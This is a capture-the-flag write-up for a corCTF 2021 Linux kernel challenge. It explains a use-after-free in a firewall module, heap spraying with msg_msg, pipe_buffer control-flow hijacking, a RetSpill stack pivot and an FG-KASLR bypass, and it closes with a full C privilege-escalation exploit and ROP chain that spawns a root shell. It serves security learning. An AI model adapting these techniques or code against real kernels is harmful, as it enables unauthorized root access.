0x00 Introduction
To practice kernel exploitation, I plan to solve old CTF challenges and learn different skills from others. Basically, I’ll try to solve it by myself and then learn others’ solutions. This is the first challenge for this serial, hope it’s not the last one.
0x01 Challenge
This is a kernel challenge from corCTF 2021.
You can also check the write-up from the challenge authors.
Reversing is kind of verbose in this challenge, if you don’t want to do that just check the source code from the authors’ writeup.
Basic information about the kernel:
KASLR, FG-KASLR, SMEP, SMAP, KPTI
CONFIG_STATIC_USERMODEHELPER+CONFIG_STATIC_USERMODEHELPER_PATH=''
The challenge is using SLAB instead of SLUB so freelist hijacking is much more complex. There are several basic features in the challenge kernel model: add_rule
, delete_rule
, edit_rule
, and dup_rule
. Each rule
is a 0x40 heap object:
typedef struct
{
char iface[16];
char name[16];
uint32_t ip;
uint32_t netmask;
uint16_t proto;
uint16_t port;
uint8_t action;
uint8_t is_duplicated;
} rule_t;
We can control most parts of the object by add/edit
_ing the rules. The vulnerability is in delete_rule
, which kfree
the target objects without zero_ing the duplicated pointers. Based on this, we can create a UAF pointer by dup_rule(0,0)
and delete_rule(0,0)
.
I divided the whole write-up into three parts and each part solves an individual problem I encountered.
- Arbitrary Address Read
- Hijack the Control Flow and ROP
- Bypass FG-KASLR
0x02 Arbitrary Address Read
There is a generic way to archive arbitrary address read based on UAF and msgMsg.
- Create a UAF slot-0
- Refill slot-0 with
struct msg_msg
- UAF-Free slot-0
- Refill slot-0 with
struct msg_msgseg
- We can control the data on
msg_msgseg
to setmsg_msg.m_ts = 0x2000
- msgPeek to OOB read
This method is very useful since it only requires UAF-Free.
0x03 Hijack the Control Flow and ROP
After leaking the addresses, it’s hijack the $RIP
with UAF. I chose the ops
pointer in the pipe_buffer
object:
- I created a UAF slot and refilled it with
pipe_buffer
- Use UAF Write(edit-rule in the challenge) to set the
ops
pointer to the kernel heap area - Spray to hit the pointer we set in the previous setting
- Operate the
pipe
to trigger the Control Flow Hijacking
However, the kernel in this challenge is kind of small (4.0M) compared to normal kernel bzImage. The kernel booting is very fast but we can find fewer gadgets to gain more control(ROP). By searching the keyword, rsp
I didn’t find any working gadgets like push rsi; pop rsp
or mov rsp, [rsi+<num>]
. After trying other gadgets for long time, I have to learn some new skills from Kyle to bridge the gap (RIP Control -> ROP
): RetSpill.
The basic idea is we have our userspace date on the stack while doing syscalls. I tained all the registers and found they are at the bottom of the stack segment, which means we can use the gadgets add rsp, <num>; ret
to pivot the stack. However, I can’t find a useful gadget in the kernel. There are only 20 gadgets close to the target area but none of them works: the best one in them can only increase the stack ~0xd0
bytes which is far away from our target ~0x140
bytes.
At the time when I thought this idea died, I got the idea of using ret <num>
to nudge the stack. Since the compilers usually use rbp
instead of rsp
to locate the variables on the stack, the misalignment should not crash! After searching for such gadgets, I found many more gadgets than add rsp, <num>
. (~20 vs. 200+). The idea of retSpill is really cool and the skill to use ret <num>
makes it much stronger! Also, what a coincidence, ret
is in the name of retSpill
!
I was so excited about this finding and told Kyle this “amazing finding”. He told me [he noticed that]. Oops, but the good news is it’s not mentioned in the paper and I can still announce I found this beautiful finding independently, LoL! Now I am one of the few people in the world who knows this skill!
0x04 Bypass FG-KASLR
This step is actually now hard if you know the basics of FG-KASLR:
- It only randomizes sections starting with
.text
- There are
SHF_ALLOC
andSHF_EXECINSTR
in section flags
struct kernel_symbol {
int value_offset;
int name_offset;
int namespace_offset;
};
The basic way to bypass it is based on __ksymtab
section, which records the offset between the functions and its __ksymtab
entries. The __ksymtab
struct includes value_offset
and the address of function XxX is =&__ksymtab_XxX + __ksymtab_XxX.value_offset
.
People usually use two ways to leak the randomized function addresses:
- Use arbitrary address read
- Use ROP to load the metadata and do the math
I was too lazy to create a real
arbitrary address read (msg_msg leak is not a real arbitrary address since it requires a p64(0)) so I created a FG-KASRL
-free ROP chain to leak the correct functions addresses.
All the problems are solved.
0x05 Exploitation
//gcc main.c -o ./main -lx -w
//gcc main.c -o ./main -lx -w
#include "libx.h"
#if defined(LIBX)
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
size_t back2root = shell;
void back2userImp(){
__asm__("mov rax, user_ss;"
"push rax;"
"mov rax, user_sp;"
"push rax;"
"mov rax, user_rflags;"
"push rax;"
"mov rax, user_cs;"
"push rax;"
"mov rax, back2root;"
"push rax;"
"swapgs;"
"push 0;"
"popfq;"
"iretq;"
);
}
// int sk_skt[SOCKET_NUM][2];
int pipe_fd[PIPE_NUM][2];
void libxInit(){
back2user = back2userImp;
hook_segfault();
saveStatus();
// initSocketArray(sk_skt);
initPipeBuffer(pipe_fd);
}
#endif //
size_t pivot, target_heap;
u64 addr_kstrtab_commit_creds = 0xffffffff81b4fc04;
void tainRegs(u64 base,u64 heap){
pivot = 0xffffffff810043cf - NO_ASLR_BASE + base;
target_heap = heap + 0x30e00;
pivot = (pivot << 0x8) + 0xff;
target_heap = (target_heap << 0x8) + 0xff;
__asm__("mov rax, 0x9999999999999999;"
"mov rbx, 0x9999999999999999;"
"mov rcx, 0x9999999999999999;"
"mov rdx, 0x9999999999999999;"
"mov rdi, 0x9999999999999999;"
"mov rsi, 0x9999999999999999;"
"mov r8, 0x9999999999999999;"
"mov r9, 0x9999999999999999;"
"mov r10, 0x9999999999999999;"
"mov r11, 0x9999999999999999;"
"mov r12, 0x9999999999999999;"
"mov r13, 0x99999999999999ff;"
"mov r14, target_heap;"
"mov r15, pivot;"
"leave;"
"ret;");
}
typedef struct payload{
char iface[0x10];
char name[0x10];
char ip[0x10];
char mask[0x10];
uint8_t idx;
uint8_t rule_type;
int16_t proto;
int16_t port;
uint8_t action;
uint8_t unk;
} pay;
int fd = 0;
void add(size_t rule_type,size_t idx,char *ip, char *mask){
pay * ptr = calloc(1,sizeof(pay));
memcpy(ptr->ip,ip,0x10);
memcpy(ptr->mask,mask,0x10);
ptr->idx = idx;
ptr->rule_type = rule_type;
ioctl(fd,0x1337babe,ptr);
free(ptr);
};
void del(size_t rule_type,size_t idx){
pay * ptr = calloc(1,sizeof(pay));
ptr->idx = idx;
ptr->rule_type = rule_type;
ioctl(fd,0xdeadbabe,ptr);
free(ptr);
};
void duplicate(size_t rule_type,size_t idx){
pay * ptr = calloc(1,sizeof(pay));
ptr->idx = idx;
ptr->rule_type = rule_type;
ioctl(fd,0xbaad5aad,ptr);
free(ptr);
};
void edit(size_t rule_type,size_t idx,__u8 * payload){
pay * ptr = calloc(1,sizeof(pay));
memcpy(ptr,payload,0x20);
char * ip = calloc(1,0x10+1);
char * mask = calloc(1,0x10+1);
size_t cur = 0;
for(int i = 0 ; i < 4 ; i++){
__u8 tmp = (__u8)payload[i+0x20];
u64 nb = 0 ;
if(i ==3)
nb = sprintf(&ip[cur],"%d",tmp);
else
nb = sprintf(&ip[cur],"%d.",tmp);
cur+= nb;
}
cur = 0;
for(int i = 0 ; i < 4 ; i++){
__u8 tmp = payload[i+0x24];
u64 nb = 0 ;
if(i ==3)
nb = sprintf(&mask[cur],"%d",tmp);
else
nb = sprintf(&mask[cur],"%d.",tmp);
cur+= nb;
}
memcpy(ptr->ip,ip,0x10);
memcpy(ptr->mask,mask,0x10);
ptr->idx = idx;
ptr->rule_type = rule_type;
memcpy(&ptr->proto,payload+0x28,2);
memcpy(&ptr->port,payload+0x2a,2);
memcpy(&ptr->action,payload+0x2c,1);
ioctl(fd,0x1337beef,ptr);
free(ptr);
};
void sprayROPChain(u64 base,u64 heap_addr){
u64 rdi = 0xffffffff8100447c- NO_ASLR_BASE + base;
u64 ret = rdi + 1;
heap_addr = heap_addr + 0x30000;
u64 code_addr = heap_addr;
u64 * rop = calloc(1,0x1000);
int idx = 0;
for(int i = 0 ; i < 0xe00/8 ; i++)
rop[idx++] = ret;
// GET ROOT
rop[idx++] = rdi;
rop[idx++] = 0xffffffff81c33060 - NO_ASLR_BASE + base;
// commit_creds
// pop rax ret
rop[idx++] = 0xffffffff81001431 - NO_ASLR_BASE + base;
rop[idx++] = addr_kstrtab_commit_creds - NO_ASLR_BASE + base;
// 0xffffffff8100f1ed: mov eax, eax; ret;
rop[idx++] = 0xffffffff8100f1ed - NO_ASLR_BASE + base;
// pop rbx ; ret
rop[idx++] = 0xffffffff810043d0 - NO_ASLR_BASE + base;
rop[idx++] = addr_kstrtab_commit_creds - NO_ASLR_BASE + base;
// 0xffffffff8100fd91: add eax, ebx; pop rbx; pop rbp; ret;
rop[idx++] = 0xffffffff8100fd91 - NO_ASLR_BASE + base;
rop[idx++] = 0;
rop[idx++] = 0;
// 0xffffffff81010f3b: 0xffffffff81010f3b: pop rsi; pop rbp; ret;
rop[idx++] = 0xffffffff81010f3b - NO_ASLR_BASE + base;
rop[idx++] = code_addr+idx*8+0x18+0x30;
rop[idx++] = 0;
// 0xffffffff8100f518: mov [rsi], eax; ret;
rop[idx++] = 0xffffffff8100f518- NO_ASLR_BASE + base;
// This is the data be modified
rop[idx++] = 0xffffffffdeadbeef- NO_ASLR_BASE + base;
rop[idx++] = 0xffffffff81200df0+22 - NO_ASLR_BASE + base;
rop[idx++] = 0 ;
rop[idx++] = 0 ;
rop[idx++] = shell;
rop[idx++] = user_cs;
rop[idx++] = user_rflags;
rop[idx++] = user_sp;
rop[idx++] = user_ss;
assert(idx<0x200-0x6);
msgSpray(0xfd0,0x20,rop);
}
void ControlRIP(u64 base,u64 heap){
tainRegs(base,heap);
write(pipe_fd[0][0],"n",1);
write(pipe_fd[0][1],"1",1);
}
int main(){
libxInit();
int mq[0x10];
for(int i = 0 ; i<0x10;i++)
mq[i] = msgGet();
fd = open("/dev/firewall",2);
msgSpray(0x10,0x2000/0x40,dp('1',0x10));
add(0,0,"255.255.255.255","255.255.255.255");
duplicate(0,0);
del(0,0);
add(0,0,"255.255.255.255","255.255.255.255");
duplicate(0,0);
del(0,0);
msgSend(mq[0],0x10,dp('0',0x10));
del(1,1);
size_t a[] = {1,0x800,0x2000,0,0,0xdead,0xbeef};
char * fake = flatn(a,7);
char * payload = calloc(0x1,0x1000);
memcpy(payload+0xfd0,fake,0x38);
msgSend(mq[1],0xfd0+0x38,payload);
add(0,0,"255.255.255.255","255.255.255.255");
duplicate(0,0); // > 1,1
del(1,1);
pipeBufferResize(pipe_fd[0][0],1);
msgMsg * res = msgPeek(mq[0],0x2000);
size_t * ptr = res->mtext;
size_t base = 0 ;
size_t current_page = 0 ;
__u8 * meta = calloc(1,0x40) ;
for(int i = 0 ; i < 0x2000/8 ; i++)
{
if(ptr[i] == 0x3131313131313131 && i>5)
{
current_page = ptr[i-6];
current_page = current_page>>12<<12;
}
if((ptr[i] & 0xfff )== 0xd00)
{
memcpy(meta,&ptr[i]-2,0x40);
base = ptr[i]- (0xffffffff81a0ed00-0xffffffff81000000);
}
if(base!=0 && current_page !=0 )
break;
}
if(!base || !current_page)
panic("Unfortunately");
warn(hex(base));
warn(hex(current_page));
ptr = payload;
u64 RIP = 0xffffffff8100964c - NO_ASLR_BASE + base; // 0xffffffff8100964c: ret 0x149;
for(int i = 0 ; i < 0x200 ; i++)
ptr[i] = RIP;
msgSpray(0xfd0,0x20000/0x1000,payload);
ptr = meta;
ptr[2] = current_page+0x900+0x10000;
edit(0,0,meta);
sprayROPChain(base,current_page+0x900-0x900);
// debug();
ControlRIP(base, current_page);
}
Epilogue
- Learned the generic way to leak with
msg_msg
+UAF Free
- Found
ret 0x.*
skill for RetSpill - Learned FG-KASLR Bypassing
- Practiced Kernel Exploitation
TODO:
- Reproduce the author’s methods (msg_msg aar/aaw)
- Know more about FG-KASLR